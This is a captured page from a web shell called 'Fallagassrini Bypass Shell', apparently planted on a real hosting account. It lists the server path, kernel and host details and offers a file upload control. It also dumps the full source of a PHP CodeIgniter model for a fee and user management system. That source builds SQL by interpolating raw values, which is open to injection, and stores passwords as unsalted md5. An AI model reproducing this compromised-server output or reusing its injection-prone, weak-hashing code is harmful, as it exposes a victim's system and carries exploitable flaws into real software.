? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec_old/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec_old/application/models/settingsmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Settingsmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }
    /*functions for profile  */
   
     function checkprofileset($employee_id)
     {
        $this->db->from('user_profile');
        $this->db->join('employee','employee.employee_designation_id=user_profile.designation_id');
        $this->db->where('employee_id',$employee_id);
        return $this->db->count_all_results();
    }
    
    function get_profile_permission_by_empid($employee_id)
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('user_profile');
        $this->db->join('employee','user_profile.designation_id=employee.employee_designation_id');
        $this->db->where('employee_id',$employee_id);
        $this->db->order_by('profile_id','asc');
        $Q=$this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    function get_user_permission_by_user_id($user_id)
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('user');
        $this->db->where('user_id',$user_id);
        $Q=$this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    function getmoduledatamaster()
    {
        $data=array();
        $res=$this->db->query("select module.module_name,module.module_title,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort from module join menu on module.module_id=menu.module_id
             where module.active = '1' and menu.active='1'
            order by module.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
     /*functions for profile  */
    
    function search_profile()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('user_profile');
        $this->db->join('master','master_id=profile_id');
        $this->db->order_by('profile_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_profile($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $tblValues=array(
                        'profile_id'=>$masterid,
                        'designation_id'=>$postdata['designation_id'],
                        'profile_modules'=>$postdata['role_permission'],
                        'profile_modules_home_page'=>$postdata['role_home_page'],
                        'profile_modules_permission'=>$postdata['role_edit_del_permission']
            );
        $this->db->insert('user_profile', $tblValues);
        $data['resfunction']='search_profile';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    } 
    function update_profile($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $this->mastermodel->updatemasterdata($postdata['profile_id']);
        $tblValues=array(                        
                        'profile_modules'=>$postdata['role_permission'],
                        'profile_modules_home_page'=>$postdata['role_home_page'],
                        'profile_modules_permission'=>$postdata['role_edit_del_permission']
            );
        $this->db->where('profile_id',$postdata['profile_id']);
        $this->db->update('user_profile', $tblValues);
        $data['resfunction']='search_profile';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    } 
     /* functions for reminder*/
    function search_reminder()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('reminder');
        $this->db->join('master','master_id=reminder_id');
        $this->db->order_by('reminder_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function insert_reminder($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();   
        $tblValues=array(
                        'reminder_id'=>$masterid,
                        'reminder_subject'=>$postdata['reminder_subject'],
                        'remind_before'=>$postdata['remind_before'],
                        'reminder_date'=>$this->mastermodel->convertdateformat($postdata['reminder_date']),
                        'reminder_description'=>$postdata['reminder_description']
            );
        $this->db->insert('reminder', $tblValues);
        $data['resfunction']='search_reminder';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    function update_reminder($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $this->mastermodel->updatemasterdata($postdata['reminder_id']);   
        $tblValues=array(                       
                        'reminder_subject'=>$postdata['reminder_subject'],
                        'remind_before'=>$postdata['remind_before'],
                        'reminder_date'=>$this->mastermodel->convertdateformat($postdata['reminder_date']),
                        'reminder_description'=>$postdata['reminder_description']
            );
        $this->db->where('reminder_id',$postdata['reminder_id']);
        $this->db->update('reminder', $tblValues);
        $data['resfunction']='search_reminder';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    /* functions for user */
     function search_user()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('user');
        $this->db->join('master','master_id=user_id');
        $this->db->order_by('user_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function update_password($postdata)
    {

        $data=array();
        $data['resfunction']='search_user';
        if($postdata['newpassword'] == $postdata['retypepassword'])
	{
	    $tblValues=array('password'=>md5($postdata['newpassword']));
	    $this->db->where('user_id',$postdata['user_id']);
	    $this->db->update('user', $tblValues);
            $data['res']='1';
            $data['msg']='Password Changed Sucessfully';
            return $data;
	}
	else
	{
            $data['res']='0';
            $data['msg']='Passwords do not match';
            return $data;

	}
    }
        function update_paswrd($postdata)
            {
                $data=array();
                $data['resfunction']='password';
                if($postdata['newpassword'] == $postdata['retypepassword'])
                {
                    $tblValues=array('password'=>md5($postdata['newpassword']));
                    $this->db->where('user_id',$postdata['user_id']);
                    $this->db->update('user', $tblValues);
                    $data['res']='password';
                    $data['msg']='Password Changed Sucessfully';
                    return $data;
                }
                else
                {
                    $data['res']='password';
                    $data['msg']='Passwords do not match';
                    return $data;

                }
            }
    function insert_user($postdata)
    {       
        $data=array();
        $this->db->trans_begin();
        $employee=  explode('-', $postdata['employee_id']);
        $masterid = $this->mastermodel->insertmasterdata();   
        $tblValues=array(
                        'user_id'=>$masterid,
                        'user_name'=>$postdata['user_name'],
                        'password'=>md5($postdata['password']),
                        'employee_id'=>$employee[0],
                        'user_modules'=>$postdata['user_modules'],
                        'modules_permission'=>$postdata['modules_permission'],
                        'home_page'=>$postdata['user_home_page'],
                        );
        $this->db->insert('user', $tblValues);
        foreach($postdata['report_select'] as $report)
        {
             $tblValues=array(
                        'user_id'=>$masterid,
                        'report_id'=>$report,
                        );
            $this->db->insert('user_report', $tblValues);
        }
        $data['resfunction']='search_user';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    function update_user($postdata)
    {
        $data=array();
        $this->db->trans_begin();        
        $tblValues=array(                        
                        'user_modules'=>$postdata['user_modules'],
                        'modules_permission'=>$postdata['modules_permission'],
                        'home_page'=>$postdata['user_home_page'],
                        );
        $this->db->where('user_id',$postdata['user_id']);
        $this->db->update('user', $tblValues);
        
        $this->db->where('user_id',$postdata['user_id']);
        $this->db->delete('user_report');
        foreach($postdata['report_select'] as $report)
        {
             $tblValues=array(
                        'user_id'=>$postdata['user_id'],
                        'report_id'=>$report,
                        );
            $this->db->insert('user_report', $tblValues);
        }
        $data['resfunction']='search_user';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    
    /* functions for alert master*/
    function search_alert_master()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('alert_master');
        $this->db->order_by('alert_master_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_alert_master($postdata)
    {        
        $data=array();
        $this->db->trans_begin();        
        $limit=$postdata['limit'];
        $this->db->where('alert_master_id',$postdata['alert_master_id']);
        $this->db->delete('fee_alert_employee');
        for($i=1;$i<$limit;$i++)
        {
            if(isset($postdata['select_employee_'.$i]))
            {
              $tblValues=array(                     
                        'alert_master_id'=>$postdata['alert_master_id'],
                        'employee_id'=>$postdata['employee_id_'.$i]
                        );  
              $this->db->insert('fee_alert_employee',$tblValues);
            }
            
        }
        $data['resfunction']='search_alert_master';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    /* functions for alert */
    
    function search_alert()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('alert_master');
        $this->db->order_by('alert_master_id','asc');
        $data['results']=$this->db->get();        
        return $data;
    }
    function remove_alert($table,$id,$field)
    {
        $data=array();      
        $this->db->trans_begin(); 
          $tblvalues=array(
                        'alert_status'=>'0'
        );
        $this->db->where($field,$id);
        $this->db->update('alert',$tblvalues);
        $this->db->trans_status();
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Unable to Remove record because of associated data';
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Data Removed Successfully';
        }
        return $data;
    }
    function get_num_alert($id)
    {   
        $employee_id=  $this->mastermodel->get_single_field_value('user','employee_id','user_id',$_SESSION['user_id']);
        $this->db->join('alert_employee','alert_employee.alert_id=alert.alert_id');
        $this->db->where('alert_employee.employee_id',$employee_id);
        $this->db->where('alert_status','1'); 
        $this->db->where('alert_master_id',$id);
        $Q=$this->db->get('alert');
        return $Q->num_rows();
    }
    
    function get_alert_employee($id)
    {  
        $employee_id=  $this->mastermodel->get_single_field_value('user','employee_id','user_id',$_SESSION['user_id']);
        $today = date("Y-m-d");
        $data=array();
        $this->db->select('*');
        $this->db->from('alert_employee');
        $this->db->join('alert','alert.alert_id=alert_employee.alert_id');
        $this->db->join('student_batch','student_batch.student_batch_id=alert.alert_record_id','left');
        $this->db->where('alert_employee.employee_id',$employee_id);    
        $this->db->where('alert.alert_master_id',$id);
        $this->db->where('alert.alert_status','1');
        $this->db->where('alert.alert_date <=',$today);
        $Q= $this->db->get();      
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_fee_alerts_to_employee($alert_master_id,$count='',$info='') {
        $data = array();
        $data['count']=0;
        $data['details']=array();
        if (date('d') >= 5) {
            $this->db->select('*');
            $this->db->from('fee_alert_employee');
            $this->db->join('user', 'user.employee_id=fee_alert_employee.employee_id', 'left');
            $this->db->join('employee', 'employee.employee_id=user.employee_id', 'left');
            $this->db->where('user_id', $_SESSION['user_id']);
            $this->db->where('alert_master_id', $alert_master_id);
            $Q = $this->db->get();
            if ($Q->num_rows() > 0) {
                
                $output=$data['details']=$this->get_student_fee_payment_alert();
                $data['count']=$output['count'];
                $data['details']=$output['data'];
//                if($count==1)
//                    $data['count'] = $this->get_student_fee_payment_alert_count();
//                if($info==1)
//                    $data['details']=$this->get_student_fee_payment_alert();
            }
            $Q->free_result();
        }
        return $data;
    }

    function get_fee_payment_details($student, $course) {
        $data = array();
        $query = (" SELECT student_id,student_batch.course_id,course_fee,
                      IFNULL(SUM(total_amount),0) as paid_amount,
                      IFNULL(GROUP_CONCAT( (CONCAT_WS('-',month(fee_date),year(fee_date)))SEPARATOR ',' ),0) as fee_paid_date,
                      fee_date FROM  fee 
                      JOIN student_batch ON student_batch.student_batch_id=fee.student_batch_id
                      JOIN batch ON batch.batch_id=student_batch.current_batch_id                       
                where student_id=$student AND student_batch.course_id=$course ");
        $Q = $this->db->query($query);
        if ($Q->num_rows() > 0) {
            $result = $Q->row();
            $data = $result;
        } else {
            $data = 0;
        }
        $Q->free_result();
        return $data;
    }

    function get_student_fee_payment_alert_count() {
        $data = array();       
        $query = (" SELECT student_id,sb1.course_id,course_fee,date as allo_date  FROM  student_batch sb1 
                      JOIN batch b1 on b1.batch_id=sb1.current_batch_id  WHERE sb1.date in
                      ( SELECT MAX( DATE ) FROM student_batch 
                      JOIN batch ON batch.batch_id=student_batch.current_batch_id 
                      WHERE student_id = sb1.student_id GROUP BY student_batch.course_id ) 
                      AND sb1.cancelled=0  order by sb1.student_id");

        $res = $this->db->query($query);
        if ($res->num_rows() > 0) {
            foreach ($res->result_array() as $row) {
                $student = $row['student_id'];
                $course = $row['course_id'];
                $paid_amount = $this->get_fee_payment_details($student, $course);
                $row['paid_amount'] = $paid_amount->paid_amount;
                $row['fee_date'] = $paid_amount->fee_paid_date;
                $count = 0;

                if (strtotime(date('Y-m-d')) - strtotime($row['allo_date']) >= 0) {
                    if ($paid_amount->paid_amount < $row['course_fee']) {
                        if (!in_array(date('m-Y'), explode(',', $row['fee_date']))) {
                            
                            if (!array_key_exists($row['student_id'], $data)) {
                                $data[$row['student_id']] = $row['student_id'];
                                $count = $count + 1;
                            }
                        }
                    }
                }
            }
        }

        $res->free_result();
        return $data;
    }
    function get_student_fee_payment_alert() {
        $data = array();       
//        $query = (" SELECT student_id,course_id,course_fee,date as allo_date ,sb1.batch_id as batch_id  FROM  student_batch sb1 
//                      JOIN batch b1 on b1.batch_id=sb1.batch_id  WHERE sb1.date in
//                      ( SELECT MAX( DATE ) FROM student_batch 
//                      JOIN batch ON batch.batch_id=student_batch.current_batch_id 
//                      WHERE student_id = sb1.student_id GROUP BY course_id  ) 
//                      AND sb1.cancelled=0 order by sb1.student_id");
        
        $query = (" SELECT student_id,sb1.course_id as course_id ,registration_fee,fee,sb1.course_fee as student_course_fee,course.course_fee as course_fee ,date as allo_date ,sb1.current_batch_id as batch_id  
                    FROM  student_batch sb1 
                    JOIN batch b1 on b1.batch_id=sb1.current_batch_id  
                    JOIN course on course.course_id=sb1.course_id
                    ORDER BY sb1.student_id");

        $res = $this->db->query($query);
        $count = 0;
        if ($res->num_rows() > 0) {
            foreach ($res->result_array() as $row) {
                $student = $row['student_id'];
                $course = $row['course_id'];
                $paid_amount = $this->get_fee_payment_details($student, $course);
                
                $row['paid_amount'] = $paid_amount->paid_amount;
                $row['fee_date'] = $paid_amount->fee_paid_date;
                
                if($row['student_course_fee']!="" && $row['student_course_fee']>0)
                    $course_fee=$row['student_course_fee'];
                else
                    $course_fee=$row['course_fee'];
                
                if($row['registration_fee']!="" && $row['registration_fee']>0)
                    $reg_fee= $row['registration_fee'];
                else
                    $reg_fee= $row['fee'];
                
                if (strtotime(date('Y-m-d')) - strtotime($row['allo_date']) >= 0) {
                    
                    if ($paid_amount->paid_amount < $course_fee) {
                        
                        if (!in_array(date('m-Y'), explode(',', $row['fee_date']))) {
                                                        
                                $data[$row['student_id']][] = $row;                                
                                $count = $count + 1;
                            
                        }
                    }
                }
            }
        }
        $res->free_result();
        echo $count;
        $output=array();
        $output['count']=$count;
        $output['data']=$data;
        return $output;
    }
    
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net